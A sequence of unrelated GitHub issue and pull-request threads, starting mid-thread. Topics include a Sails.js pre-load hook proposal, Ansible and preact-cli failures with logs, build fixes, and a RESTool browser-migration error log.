P.S. To anyone else reading this: if you have the time, it would be really helpful if you could add a couple of tests.  I realize this might take some effort (at least personally, I'm not sure offhand the best way to test this-- might be easy, might not-- you never know until you dive in).  This doesn't necessarily need to happen before we land this enhancement in core, since our contribution guidelines have changed a number of times recently, and today there aren't tests for the current support for require extensions anyway.  But that cycle has to stop somewhere-- one way or another, tests for this feature will need to get written.
Side note:
These kinds of untested changes tend to stack up, and before you know it, otherwise-elegant and innocuous-seeming changes we make in the future end up breaking untested features.  This affects users that are relying on untested features that were added in PRs, who end up creating issues and adding to the burden of Sails contributors.  Also, whenever there is doubt, untested patches sent in PRs are always the first suspects, and sometimes even end up as scapegoats down the road; i.e. getting deprecated and ripped out.  But most of all, the merging of untested features can be demotivating for everyone working on Sails, especially the core team.  While we're used to staying on top of the changes we make ourselves (mostly since we talk to each other every day), it's almost impossible to keep up with all of the changes that might have been merged across the various repos which make up Sails core.  The only way to solve this to ask for all code changes to come with tests and to update any relevant documentation.
Anyway, this isn't meant as a guilt trip; I just feel it's important to provide a little more explanation of where we're coming from on our testing philosophy and some of the recent updates to the Sails project contribution guide.  This is definitely a gradual process, but since stepping up our enforcement of these rules, I've been really pleased and appreciative of everyone's positive attitude and willingness to help. Thank you!

in the future we could, if necessary, allow an asynchronous function to be provided in lieu of the require key, for anyone working with a custom transpiler/precompiler that doesn't support standard node requires for some reason

@mikermcneil That's a great idea....
What if we just quit messing around and created a preload.js file the sailscore requires...
And users can do whatever they want in it, I didn't even think of that initially.

heh....maybe prelift.js :smile:

This has some elegant simplicity to it....
You want to run require('coffee-script/register') before lift...be my guest!
I like your idea better than mine....

heh....maybe prelift.js

:)

What if we just quit messing around and created a preload.js file that sailscore requires...

I think that would work nicely-- i.e. an optional JavaScript file that exports a function that Sails core will look for in the current repo (if it can't require it, no bigs, if it's the wrong type, we throw an error explaining what it's supposed to look like).  I would suggest .prelift.js -- only thing here is that it's technically "preload" too since there's a vaguely arbitrary distinction between calling .load and .lift programmatically-- it's trivial, but I'd hate to confuse anyone.
On the other hand, for consistency with .sailsrc and our configuration structure, I think maybe a hidden file like .sailsrc.js would give us the most flexibility.  Instead of exporting a function, it'd export a dictionary (just like the JSON in .sailsrc).  This would allow you the flexibility to do whatever you want before Sails starts loading other config and/or hooks (i.e. at the top of the file), plus you'd be able to send in functions to sails.config right from the get-go by exporting them.  How's that sound?

So I think there are two parts to this that may or may not actually need to be the same feature:
1. Add the ability to run an asynchronous function before sails begins loading without having to hack your app.js file (and therefore enabling it to work when using sails lift from the command-line)
As discussed, a sails.config.beforeLift sort of thing (although like I said before, we'd want to call it beforeLoad to avoid confusion-- since it technically would fire with sails.load()  too).  This seems totally doable-- either as a simple check in Sails core, or potentially using the strategy below.
Honestly, the strategy of looking for a special beforeLoad.js file is probably the simplest way to go here.
2. improve the ability to specify custom configuration (other than strings) at the earliest stage of Sails loading without having to hack your app.js file (and therefore enabling it to work when using sails lift from the command-line)
Some equivalent to the .sailsrc file, but that also supports "wet" or non-JSON-serializable data (e.g. functions).  Alternately, we could modify rc to support hydrating functions within nested config from strings (see https://github.com/node-machine/rttc#hydratevalue-typeschemaundefined).  See also https://github.com/node-machine/rttc#parsehumanstringfromhuman-typeschemaundefined-unsafemodefalse.
The big advantage to the second approach is that it would also mean being able to specify config like the bootstrap function as an environment variable (plus even basic things like numbers, booleans, and nested dictionaries and arrays).  Practically, this last case doesn't come up until you're in production and you're using env variables extensively already, but seeing as that's generally the recommended strategy, it makes sense to allow for more flexibility there so we make environment variable names conventional (e.g. you'd be able to do sails_http__middleware__order='["foo", "bar"]').
To be specific, this approach would allow you to specify any JSON-compatible value, as well as potentially stringified functions.

I'm thinking we should dump this PR, and just add the mentioned beforeLoad.js. It's probably such an easy fix...like 20 minutes...maybe.
And it solves a whole bunch of problems for users.

@internalfx agreed-- and it would solve https://github.com/balderdashy/sails/blob/master/lib/hooks/moduleloader/index.js#L145
(although on a separate note, I do like the auto-detection.... and I get why it's sync right now-- just need to figure out a way to make it faster / backgrounded, and also to pull it out of core.  E.g. hooks can already register their own route target syntax:  since the moduleloader exposes acceptable file extensions as a config, it seems like it wouldn't be too hard to allow a hook to get in the middle and provide support for loading a specific file extension.  --- OR better yet, we just make the equivalent of beforeLoad part of the hook api in addition to being a file in your app.)

I think beforeLoad sounds great.  It could have a signature like function(config, cb), where it receives the current config "overrides" (command-line args, .sailsrc options, etc.) and can programmatically decide what to do with them.  It would allow you to specify hooks on a per-environment basis, which would be a big win.
Something else to throw into the mix is the idea of having sails lift just run the app's app.js file if it's available, in the same way that it now detects whether there's a local copy of Sails in the project.  This would ensure that the code running in your development environment (where you typically do sails lift) is the same as in a deployment situation like Heroku (which uses node app.js), even if you put some extra goodies in your app.js.  As @mikermcneil said, having a beforeLoad.js file that Sails reads first off is best, because we want it to work with sails.load() as well, but there are still cases where code is best placed in app.js (virtual host setups come to mind).

Would recommend updating bootstrap.js docs to avoid confusion:

Currently says 'before sail lifts' and this is called beforeLoad, what's the difference etc.
But, this sounds to me like the main purpose of beforeLoad would be to update configs, much like the hook.configure() functionality does but for all of sails config and with a cb? If that's so can we not call it the same for consistency?
In general though, sounds like something that could be useful. 👍

@Salakar thanks, great point re docs!

But, this sounds to me like the main purpose of beforeLoad would be to update configs, much like the hook.configure() functionality does but for all of sails config and with a cb? If that's so can we not call it the same for consistency?

Hmm, I see what you mean.  This is slightly different in that it runs even before any hooks are loaded, and can even affect what languages are understood when requiring files from the config folder.

Here's what I'm thinking we should do for Sails v1:

Remove all coffeescript / configurable language support from the moduleloader.
Document how to use app.js to support coffeescript on the backend.
Leave sails lift as-is for the time being. (Note that this means that, to take advantage of app.js, you'll have to start your app in development by running node app or npm start-- you won't be able to use sails lift.  Let's keep brainstorming about ideas on how to improve that, but go ahead and go w/ this plan as-is for the moment.)


Stop deploy from being triggered by PRs

It looks like creating a pull request is triggering the deploy github action. I think this can be resolved by removing the pull requests portion of the main.yml file. on: pull_request: branches: [master]
The on push portion should not be removed.

Done


291-sim-propose-a-pr-template

Fixes #291
Signed-off-by: Agustín Ramiro Díaz<EMAIL_ADDRESS>

@AgustinRamiroDiaz this is great. Do you think that we could include a section for the developer to explain this PR in a way they would do it to communicate it to outsiders? In the best case, this could be copy&pasted into a Tweet

@AgustinRamiroDiaz this is great. Do you think that we could include a section for the developer to explain this PR in a way they would do it to communicate it to outsiders? In the best case, this could be copy&pasted into a Tweet

Sounds good! Added :D


Remove trailing whitespace

Sorry for the annoying/spam change, my editor just complains about trailing whitespace.

No problem, I normally enable this in editors myself, but I use several PC's and editors.


Start php5-fpm service - Failing

I'm getting the following error when running vagrant provision.
Here is the log:
TASK: [php | Add PHP 5.6 PPA] *************************************************
ok: [default]

TASK: [php | Install PHP 5.6] *************************************************
ok: [default] => (item=php5-common,php5-fpm,php5-mysqlnd,php5-xmlrpc,php5-mcrypt,php5-curl,php5-gd,php5-cli,php-pear,php5-dev,php5-imap)

TASK: [php | Start php5-fpm service] ******************************************
failed: [default] => {"failed": true}

FATAL: all hosts have already failed -- aborting

PLAY RECAP ********************************************************************
           to retry, use: --limit @/Users/mauriciorivera/dev.retry

default                    : ok=29   changed=0    unreachable=0    failed=1

Ansible failed to complete successfully. Any error output should be
visible above. Please fix these errors and try again.

Cloned the repo, and testing this new setup for the first time. Can't seem to figure what this error is. Any clues? Thanks.

I bet you're on Ansible 1.9.1

Yes I am.... and I just notice "Ansible >= 1.8" in the documentation -_-
Could that be the reason?

Nope, this: https://github.com/ansible/ansible/issues/10675
Either downgrade to <IP_ADDRESS> or remove these lines: https://github.com/roots/bedrock-ansible/blob/master/roles/php/tasks/main.yml#L20-21

Can confirm. Downgraded to <IP_ADDRESS> and working as expected. Thanks!

Leaving this open since it's technically a bug, just not ours. But we'll keep track of it through here.

Closing this since it's been fixed in next Ansible release. 1.9.1 will forever be broken and that note about it will need to be left in the README for a little bit.


Settings menu doesn't work after server install.

The settings menu only applies changes when the install button is clicked. If an option is changed after install nothing happens. Pressing the install button again also doesn't work because the install script throws errors when the files already exist.

Which template are you using?

This works fine for many templates, therefore this is most likely a template specific, please let us know what template you're seeing the issue with (as @2020Sanoj already asked)
I'll also move this issue to the PufferPanel templates repository as it's an issue with a template, not the panel as such


createThemeContainer does not forward ref

I am using createThemeContainer in a component that receives a ref, but it is not receiving it.

Oh, good catch. I've just pushed a small patch wrapping themeContainer with React.forwardRef (v0.0.4).
Please check. 😉


Fix link in description

Hi,
The link here is broken.

Hi!
Thanks a million!
For now, it is fixed in code(will update in the evening) and the plugin gets the update with the new version


Remove Cypress tests since they will be added in a separate repository

/override "Red Hat Konflux / ols-e2e-tests-rosa / lightspeed-console"
/override "Red Hat Konflux / ols-enterprise-contract / lightspeed-console"
Override tests not related to this PR


Compilation error after PR #93

Hello,
PR #93 introduced a compilation error:
pico/cd/libchdr/src/libchdr_flac.c:16:10: fatal error: dr_flac.h: No such file or directory
   16 | #include <dr_flac.h>
      |          ^~~~~~~~~~~
compilation terminated.
make: *** [Makefile:405: pico/cd/libchdr/src/libchdr_flac.o] Error 1

Indeed, dr_flac.h is in deps/dr_libs/ but the include in src/libchdr_flac.c is:
#include <dr_flac.h>

Of course I can fix the include path myself, but just wanted to let you know.

Thanks I merged a bunch of commits and fixes from @scribam recently probably linked to.

@DrUm78 do you use a custom Makefile or do you have the error with cmake? how can I reproduce your compilation error?

@scribam I use PicoDrive Makefile here: https://github.com/irixxxx/picodrive/blob/3a77090514c3ba3c1a0286a046bc9fe323e07f27/Makefile#L319
You can reproduce it by compiling this repo under x86_64 for instance after a git submodule update --init.
Same issue when compiling libchdr within PCSX: https://github.com/notaz/pcsx_rearmed too.

I made a pull request to revert the offending commit and keep the compatibility with current Makefiles

Revert merged please confirm issue is fixed.


Remove main_quit() assert

Something is broken with old code?

Well, this assert does not seem to make sense.
For instance, if you manually run the loop like this:
while gtk::main_iteration() {
}

Calling gtk::main_quit() will panic in this case.

Thanks for explanation, 👍

gtk_main_quit really works in this cycle?
By https://gitlab.gnome.org/GNOME/gtk/blob/gtk-3-24/gtk/gtkmain.c#L1370 it just exit without main loop

I'm not sure what you mean, but it will make gtk_main_iteration() returns false: https://gitlab.gnome.org/GNOME/gtk/blob/gtk-3-24/gtk/gtkmain.c#L1431

Ah, I think I understand.
I'll test.

So, you were right @EPashkin, gtk_main_quit() will output a CRITICAL error.
So, I'm closing this PR.


Updated the Demo project to handle Json Data in the Argonaut style

I decided to go ahead and push this - I was trying to figure out a clean way to handle the the ToJson type marker, but given how in flux everything is I figured it was better to just punt that to a later date and show an Argonaut style Json encoding of the data types.
I'm pretty sure there's a way to provide a default implementation of
  trait ToJson { self =>
    def toJson: Json = self.asJson
  }

but I'd rather kick this up and get quick feed back.  The biggest thing is that we can can lean on Argonaut to auto-magically encode Seq[A].

Thanks, @penland365. Here's an alternative proposal that eliminates ToJson (it seems best to avoid mixing inheritance and type class-based serialization entirely), puts the type class instances in the case class companion objects, and uses a version of the service-wrapping approach outlined here.
Once the coproduct router is in, we'll be able to eliminate the JsonEndpoint implicit class and the calls to toJson, but otherwise this is pretty much what usage will look like.
(Note that I've rebased against my version updates to show that this works with Argonaut 6.1.)

I couldn't get the Endpoints to compose the way I wanted when I was playing w/ this over the weekend Travis - I was trying to define it as a service we exported in argonaut-json, but this is clearly better than mine.
:shipit:

@travisbrown Do you think it would appropriate to place
implicit class JsonEndpoint[Req, Rep](endpoint: Endpoint[Req, Rep]) {
  def toJson(implicit encoding: EncodeJson[Rep]): Endpoint[Req, Json] = endpoint.map { service =>
      new Service[Req, Json] {
        def apply(req: Req): Future[Json] = service(req).map(encoding(_))
     }
  }
}

inside of ``finch-argonaut`?  I've immediately duplicated that code in two projects today - adding that service seems like something we might want to export.

@penland365 This will change a bit with the coproduct tooling for routers, which is coming soon, so probably best to wait?

I'm totally fine w/ that.  :+1:

Right. With coproduct routers, we should be able to get rid of that implicit class and serve domain types directly.

This is merged in #276.


Render documentation using Vega itself, not PNG

Now that I know it's possible, might as well go all out. Aster Plot shows live rendering with hover interactivity
http://johnmyleswhite.github.io/Vega.jl/asterplot.html

All graphs done, just need to switch mutating functions docs.

DONE! Everything is rendered live by Vega, using code from Vega.jl (i.e. no trickery).
If only I could run Escher from gh-pages, I'd be able to render directly from Julia.


Events › Salamanca › University › Upgrade to iCal source

https://calendar.google.com/calendar/ical/c_jd0an7mstid1af3do1ija5flsk%40group.calendar.google.com/public/basic.ics.
The fields with the main data for each event are:

DTSTART: Event Initial Date
DTEND: Event Final Date
SUMMARY: Event Title
LOCATION: Event dedicated URL
DESCRIPTION: Event Description

@ec2u/mmt updated integration notes available @ https://github.com/ec2u/data/blob/main/src/test/resources/eu/ec2u/data/tasks/events/EventsSalamancaUniversity.md


feat: add Explainer Guide on how-to-get-funding-for-open-source

PR Checklist

[X] Addresses an existing open issue: fixes #110  and #111
[X] That issue was marked as accepting prs
[X] Steps in CONTRIBUTING.md were taken

Overview

I created a guide on how companies can get funding for their open source projects

Made the changes, and they run [locally too(http://localhost:3000/guides/how-to-get-funding-for-your-open-source-projects).


Doc: Fixing doc for ExpandOperator

After:

Previously:

@mbasmanova Hi, this is a one line doc fix. I found this when I read the doc

@mapleFU Would you rebase?

done


preact create exits with status 1

Do you want to request a feature or report a bug?
Bug
What is the current behavior?
when creating a new PWA with following command:
preact create default --name caf-menu --git --force --yarn
I get this output:
⚠ WARN Insufficient command arguments! Prompting...
ℹ INFO Alternatively, run preact create --help for usage info.
? Directory to create the app caf-menu
? Install dependencies Yes
ℹ INFO Assuming you meant preactjs-templates/default...
⠙ Installing dependenciesError: Exited with status 1
And the created folder-structure looks like this:
caf-menu

node_modules (contains folders for packages, but they're empty, so node_modules is 0kb)
src (contains expected files)
.gitignore
package.json
README.md
yarn-error.log

yarn-error.log looks like this:
  /home/Marius/.nvm/versions/node/v8.2.1/bin/node /home/Marius/.nvm/versions/node/v8.2.1/bin/yarn install

PATH:
  /home/Marius/.nvm/versions/node/v8.2.1/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/mnt/c/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v8.0/bin:/mnt/c/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v8.0/libnvvp:/mnt/c/Python36/Scripts:/mnt/c/Python36:/mnt/c/Program Files (x86)/Intel/iCLS Client:/mnt/c/Program Files/Intel/iCLS Client:/mnt/c/Windows/System32:/mnt/c/Windows:/mnt/c/Windows/System32/wbem:/mnt/c/Windows/System32/WindowsPowerShell/v1.0:/mnt/c/Program Files (x86)/Intel/Intel(R) Management Engine Components/DAL:/mnt/c/Program Files/Intel/Intel(R) Management Engine Components/DAL:/mnt/c/Program Files (x86)/Intel/Intel(R) Management Engine Components/IPT:/mnt/c/Program Files/Intel/Intel(R) Management Engine Components/IPT:/mnt/c/Program Files (x86)/NVIDIA Corporation/PhysX/Common:/mnt/c/Windows/System32:/mnt/c/Windows:/mnt/c/Windows/System32/wbem:/mnt/c/Windows/System32/WindowsPowerShell/v1.0:/mnt/c/Program Files/nodejs:/mnt/c/Program Files/Git/cmd:/mnt/c/ProgramData/chocolatey/bin:/mnt/c/Program Files/PuTTY:/mnt/c/Program Files/Geth:/mnt/c/Program Files/Intel/WiFi/bin:/mnt/c/Program Files/Common Files/Intel/WirelessCommon:/mnt/c/Program Files (x86)/Intel/iCLS Client:/mnt/c/Program Files/Intel/iCLS Client:/mnt/c/Windows/System32:/mnt/c/Windows:/mnt/c/Windows/System32/wbem:/mnt/c/Windows/System32/WindowsPowerShell/v1.0:/mnt/c/Program Files (x86)/Intel/Intel(R) Management Engine Components/DAL:/mnt/c/Program Files/Intel/Intel(R) Management Engine Components/DAL:/mnt/c/Program Files (x86)/Intel/Intel(R) Management Engine Components/IPT:/mnt/c/Program Files/Intel/Intel(R) Management Engine Components/IPT:/mnt/c/Program Files (x86)/NVIDIA Corporation/PhysX/Common:/mnt/c/Program Files/Intel/WiFi/bin:/mnt/c/Program Files/Common Files/Intel/WirelessCommon:/mnt/c/Windows/System32:/mnt/c/Windows:/mnt/c/Windows/System32/wbem:/mnt/c/Windows/System32/WindowsPowerShell/v1.0:/mnt/c/Program Files/nodejs:/mnt/c/Program Files/Git/cmd:/mnt/c/ProgramData/chocolatey/bin:/mnt/c/Program Files/PuTTY:/mnt/c/Ruby23-x64/bin:/mnt/c/Users/mariu/AppData/Local/Microsoft/WindowsApps:/mnt/c/Users/mariu/AppData/Local/atom/bin:/mnt/c/Users/mariu/AppData/Roaming/npm:/mnt/c/Program Files/Microsoft VS Code/bin:/mnt/c/Users/mariu/AppData/Local/Microsoft/WindowsApps:/snap/bin

Yarn version:
  0.27.5

Node version:
  8.2.1

Platform:
  linux x64

npm manifest:
  {
    "private": true,
    "name": "caf-menu",
    "version": "0.0.0",
    "license": "MIT",
    "scripts": {
      "start": "if-env NODE_ENV=production && npm run -s serve || npm run -s dev",
      "build": "preact build",
      "serve": "preact build && preact serve",
      "dev": "preact watch",
      "lint": "eslint src"
    },
    "eslintConfig": {
      "extends": "eslint-config-synacor"
    },
    "eslintIgnore": [
      "build/*"
    ],
    "devDependencies": {
      "eslint": "^4.5.0",
      "eslint-config-synacor": "^1.1.0",
      "if-env": "^1.0.0",
      "preact-cli": "^2.0.0"
    },
    "dependencies": {
      "preact": "^8.2.1",
      "preact-compat": "^3.17.0",
      "preact-router": "^2.5.5"
    }
  }

yarn manifest:
  No manifest

Lockfile:
  No lockfile

Trace:
  Error: EINVAL: invalid argument, lstat '/mnt/c/Users/mariu/Documents/Projects/caf-menu/node_modules/<EMAIL_ADDRESS>
If the current behavior is a bug, please provide the steps to reproduce.
See above
What is the expected behavior?
That the command doesn't exit with an error and works like it did on preact-cli version 1.4
Please mention other relevant information.

node version v8.2.1
npm version 5.5.1
yarn version 0.27.5
Operating system Windows 10 pro 1709 (using Windows Subsystem for Linux)
Preact-cli version 2.0.1

After upgrading yarn to v1.2.1 the same bug remains

See also this and this issue on that topic

I think #409 might fix this issue.

No, I don't think so, the name in package.json is correct and I think it's a WSL/YARN realated issue. The only reason it might not be is because it worked before on Preact CLI v1.4

Not sure if this is related, but I tried to create/install with:
preact create--yarn --git --install default ssteinerX-preact
ℹ INFO Assuming you meant preactjs-templates/default...
⠦ Installing dependenciesError: Exited with status 1

And the "name" field in package.json was, literally "{{name}}" which yarn didn't like at all.
There was no log file, just package.json and the src/ directory.

Yeah, that's another issue. For now add the --name flag to the Preact create command and the name is correct in package.json :)
I've already corrected this bug and now I'm facing the issue I described above

Hi, I have the same issue right now with:
preact create default new-project
It give me this:
ℹ INFO Assuming you meant preactjs-templates/default...
⠸ Installing dependenciesError: Exited with status 1

The ǹew-project folder is created with:

a package.json file:

{
  "private": true,
  "name": "new-project",
  "version": "0.0.0",
  "license": "MIT",
  "scripts": {
    "start": "if-env NODE_ENV=production && npm run -s serve || npm run -s dev",
    "build": "preact build",
    "serve": "preact build && preact serve",
    "dev": "preact watch",
    "lint": "eslint src"
  },
  "eslintConfig": {
    "extends": "eslint-config-synacor"
  },
  "eslintIgnore": [
    "build/*"
  ],
  "devDependencies": {
    "eslint": "^4.5.0",
    "eslint-config-synacor": "^1.1.0",
    "if-env": "^1.0.0",
    "preact-cli": "^2.0.0"
  },
  "dependencies": {
    "preact": "^8.2.1",
    "preact-compat": "^3.17.0",
    "preact-router": "^2.5.5"
  }
}

As well as a README.md and a src folder.
If I do a npm start it compile well and the app seems to work.
I'm a beginner with preact and preact-cli, I'm maybe missing something.

@Dylanderv are you using the latest version of CLI? v2.0.2

@m4r1vs this is fixed in v2.0.2, it works fine, just checked. Thanks for finding this issue. 😄

@reznord Yes, I'm using<EMAIL_ADDRESS>

@Dylanderv ummm....I just checked it in my machine and it was working fine for me. Can you please give me the steps to reproduce this?

I'm not doing anything more than preact create default new-project.
I first had a problem with my corporate proxy (see #421), but i'm working this around using an external connection without proxy.
I'm using node v8.4.0 and npm 5.3.0 with nvm on Debian stretch.

"lint": "eslint src/ --fix || exit 0" fixes this.

@Dylanderv are you using Sinopia/Verdaccio by any chance?


Unable to migrate RES from Firefox to Chrome Disk I/O Error

Issue description: Unable to migrate RES backup from Firefox to Chrome
How to reproduce: Set first browser to Firefox and second browser to Chrome. Backup first browser. Select First Browser backup and click "Restore selected backup to the second browser"
Operating systems and/or browsers affected:Windows 8.1 x64, Firefox 37.0.1, Chrome 44.0.2403.125 m
RESTool version:0.2.1
Operating System version:
Attach a log file if possible.
Log Start[2015-07-31 16:40:42.206000] INFO: Main Qt: setting up
[2015-07-31 16:40:42.239000] DEBUG: Main Qt: _set_available_browsers
[2015-07-31 16:40:42.239000] DEBUG: Chrome: Starting initialization
[2015-07-31 16:40:42.246000] DEBUG: Chrome: searching for RES
[2015-07-31 16:40:42.247000] DEBUG: Browser: Expanding: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Storage
[2015-07-31 16:40:42.247000] DEBUG: Chrome: res_folder set to : C:\Users\root\AppData\Local\Google\Chrome\User Data\Default\Local Storage
[2015-07-31 16:40:42.247000] DEBUG: Chrome: Full path set to C:\Users\root\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_kbmfpngjjgdllneeigpgjifpgocmfgmb_0.localstorage
[2015-07-31 16:40:42.247000] DEBUG: Chrome: Full path exists
[2015-07-31 16:40:42.247000] INFO: Firefox: Initialization starting
[2015-07-31 16:40:42.247000] INFO: Firefox: Getting firefox profiles
[2015-07-31 16:40:42.247000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-07-31 16:40:42.247000] DEBUG: Firefox: Firefox profiles root folder set to C:\Users\root\AppData\Roaming\Mozilla\Firefox
[2015-07-31 16:40:42.247000] DEBUG: Firefox: profiles.ini path: C:\Users\root\AppData\Roaming\Mozilla\Firefox\profiles.ini
[2015-07-31 16:40:42.248000] DEBUG: Firefox: Profiles:{'default': 'Profiles/r3iklveq.default'}
[2015-07-31 16:40:42.248000] INFO: Firefox: searching for RES
[2015-07-31 16:40:42.248000] DEBUG: Firefox: Getting firefox path for profile name: default
[2015-07-31 16:40:42.248000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-07-31 16:40:42.248000] DEBUG: Firefox: Firefox res_folder set to: C:\Users\root\AppData\Roaming\Mozilla\Firefox
[2015-07-31 16:40:42.248000] DEBUG: Firefox: Full firefox path set to<EMAIL_ADDRESS>[2015-07-31 16:40:42.248000] DEBUG: Firefox: Full firefox path exists
[2015-07-31 16:40:42.248000] INFO: Firefox: RES exists True
[2015-07-31 16:40:42.248000] DEBUG: Safari: Starting initialization
[2015-07-31 16:40:42.248000] DEBUG: Safari: searching for RES
[2015-07-31 16:40:42.248000] ERROR: Safari: Unsupported OS. Returning None
[2015-07-31 16:40:42.248000] DEBUG: Chromium: Starting initialization
[2015-07-31 16:40:42.248000] DEBUG: Chromium: searching for RES
[2015-07-31 16:40:42.248000] DEBUG: Browser: Expanding: %LOCALAPPDATA%\Chromium\User Data\Default\Local Storage
[2015-07-31 16:40:42.249000] DEBUG: Chromium: res_folder set to : C:\Users\root\AppData\Local\Chromium\User Data\Default\Local Storage
[2015-07-31 16:40:42.249000] ERROR: Chromium: Selected folder does not exist
[2015-07-31 16:40:42.249000] DEBUG: Canary: Starting initialization
[2015-07-31 16:40:42.249000] DEBUG: Canary: searching for RES
[2015-07-31 16:40:42.249000] DEBUG: Browser: Expanding: %LOCALAPPDATA%\Google\Chrome Canary\User Data\Default\Local Storage
[2015-07-31 16:40:42.249000] DEBUG: Canary: res_folder set to : C:\Users\root\AppData\Local\Google\Chrome Canary\User Data\Default\Local Storage
[2015-07-31 16:40:42.249000] ERROR: Canary: Selected folder does not exist
[2015-07-31 16:40:42.249000] DEBUG: Main Qt: _first_browser_changed
[2015-07-31 16:40:42.249000] DEBUG: Main Qt: _set_available_profiles
[2015-07-31 16:40:42.249000] DEBUG: Main Qt: Changing first browser profile to None
[2015-07-31 16:40:42.249000] DEBUG: Main Qt: _second_browser_changed
[2015-07-31 16:40:42.249000] DEBUG: Main Qt: _set_available_profiles
[2015-07-31 16:40:42.249000] DEBUG: Main Qt: Changing second browser profile to None
[2015-07-31 16:40:42.250000] INFO: Main Qt: Available choices first OrderedDict([('None', None), ('Chrome', <browsers.chrome.Chrome object at 0x02959630>), ('Firefox', <browsers.firefox.Firefox object at 0x02963770>)])
[2015-07-31 16:40:42.250000] DEBUG: Main Qt: _set_available_profiles
[2015-07-31 16:40:42.250000] DEBUG: Main Qt: Changing first browser profile to
[2015-07-31 16:40:42.250000] WARNING: Main Qt: Browser does not support changing profiles.
[2015-07-31 16:40:42.250000] DEBUG: Main Qt: Changing first browser profile to None
[2015-07-31 16:40:42.250000] DEBUG: Main Qt: Changing second browser profile to
[2015-07-31 16:40:42.250000] WARNING: Main Qt: Browser does not support changing profiles.
[2015-07-31 16:40:42.250000] DEBUG: Main Qt: Changing second browser profile to None
[2015-07-31 16:40:42.250000] INFO: Main Qt: Loading settings
[2015-07-31 16:40:42.253000] INFO: Main Qt: no config file found
[2015-07-31 16:40:42.253000] INFO: Main Qt: setting default config
[2015-07-31 16:40:42.253000] DEBUG: Main Qt: _update backups lis
[2015-07-31 16:40:42.253000] DEBUG: Main Qt: folders to check set(['res_backups', u'C:\Users\root\AppData\Local\nikolak\RESTool'])
[2015-07-31 16:40:42.253000] ERROR: Main Qt: [Error 3] The system cannot find the path specified: u'C:\Users\root\AppData\Local\nikolak\RESTool\.'
Traceback (most recent call last):
File "", line 379, in _update_backups_list
WindowsError: [Error 3] The system cannot find the path specified: u'C:\Users\root\AppData\Local\nikolak\RESTool\.'
[2015-07-31 16:40:42.254000] DEBUG: Main Qt: Checking for updates...
[2015-07-31 16:40:43.742000] DEBUG: Main Qt: Latest release version 0.2.1
[2015-07-31 16:40:43.743000] INFO: Main Qt: Update doesn't exist, emitting no.
[2015-07-31 16:40:48.118000] DEBUG: Main Qt: _first_browser_changed
[2015-07-31 16:40:48.118000] DEBUG: Main Qt: _set_available_profiles
[2015-07-31 16:40:48.118000] DEBUG: Main Qt: Changing first browser profile to
[2015-07-31 16:40:48.118000] INFO: Firefox: Firefox changing profile to
[2015-07-31 16:40:48.118000] DEBUG: Firefox: selected profile not in available profiles
[2015-07-31 16:40:48.118000] DEBUG: Main Qt: Changing first browser profile to default
[2015-07-31 16:40:48.118000] INFO: Firefox: Firefox changing profile to default
[2015-07-31 16:40:48.118000] DEBUG: Firefox: Getting firefox path for profile name: default
[2015-07-31 16:40:48.118000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-07-31 16:40:48.118000] DEBUG: Firefox: Firefox res_folder set to: C:\Users\root\AppData\Roaming\Mozilla\Firefox
[2015-07-31 16:40:48.118000] DEBUG: Firefox: Full firefox path set to<EMAIL_ADDRESS>[2015-07-31 16:40:48.119000] DEBUG: Firefox: Full firefox path exists
[2015-07-31 16:40:50.038000] DEBUG: Main Qt: _second_browser_changed
[2015-07-31 16:40:50.038000] DEBUG: Main Qt: _set_available_profiles
[2015-07-31 16:40:50.038000] DEBUG: Main Qt: Changing second browser profile to
[2015-07-31 16:40:50.038000] WARNING: Main Qt: Browser does not support changing profiles.
[2015-07-31 16:40:50.038000] DEBUG: Main Qt: Changing second browser profile to None
[2015-07-31 16:41:00.421000] INFO: Main Qt: Restoring backup to <browsers.chrome.Chrome object at 0x029EDEF0>
[2015-07-31 16:41:00.421000] DEBUG: Main Qt: Selected backup: firefox.2015-07-31.ab758.resbak
[2015-07-31 16:41:00.422000] DEBUG: Main Qt: Backup path: res_backups\firefox.2015-07-31.ab758.resbak
[2015-07-31 16:41:00.422000] DEBUG: Main Qt: Restore format
[2015-07-31 16:41:00.422000] INFO: Firefox: Initialization starting
[2015-07-31 16:41:00.422000] INFO: Firefox: Getting firefox profiles
[2015-07-31 16:41:00.422000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-07-31 16:41:00.422000] DEBUG: Firefox: Firefox profiles root folder set to C:\Users\root\AppData\Roaming\Mozilla\Firefox
[2015-07-31 16:41:00.422000] DEBUG: Firefox: profiles.ini path: C:\Users\root\AppData\Roaming\Mozilla\Firefox\profiles.ini
[2015-07-31 16:41:00.422000] DEBUG: Firefox: Profiles:{'default': 'Profiles/r3iklveq.default'}
[2015-07-31 16:41:00.422000] INFO: Firefox: searching for RES
[2015-07-31 16:41:00.422000] DEBUG: Firefox: Getting firefox path for profile name: default
[2015-07-31 16:41:00.422000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-07-31 16:41:00.423000] DEBUG: Firefox: Firefox res_folder set to: C:\Users\root\AppData\Roaming\Mozilla\Firefox
[2015-07-31 16:41:00.423000] DEBUG: Firefox: Full firefox path set to<EMAIL_ADDRESS>[2015-07-31 16:41:00.423000] DEBUG: Firefox: Full firefox path exists
[2015-07-31 16:41:00.423000] INFO: Firefox: RES exists True
[2015-07-31 16:41:00.423000] DEBUG: Firefox: Firefox get data
[2015-07-31 16:41:00.423000] DEBUG: Firefox: Firefox path set to: res_backups\firefox.2015-07-31.ab758.resbak
[2015-07-31 16:41:00.423000] DEBUG: Firefox: Opening firefox_path file with 'r' flag, utf-8 mode
[2015-07-31 16:41:00.423000] DEBUG: Firefox: json.load firefox file
[2015-07-31 16:41:00.438000] DEBUG: Firefox: ff_json contains some data
[2015-07-31 16:41:00.441000] INFO: Chrome: set_data
[2015-07-31 16:41:00.456000] DEBUG: Chrome: Connecting to database...
[2015-07-31 16:41:00.456000] DEBUG: Chrome: Generating list of key, value tuples
[2015-07-31 16:41:00.456000] DEBUG: Chrome: Tuples generated. Count: 94
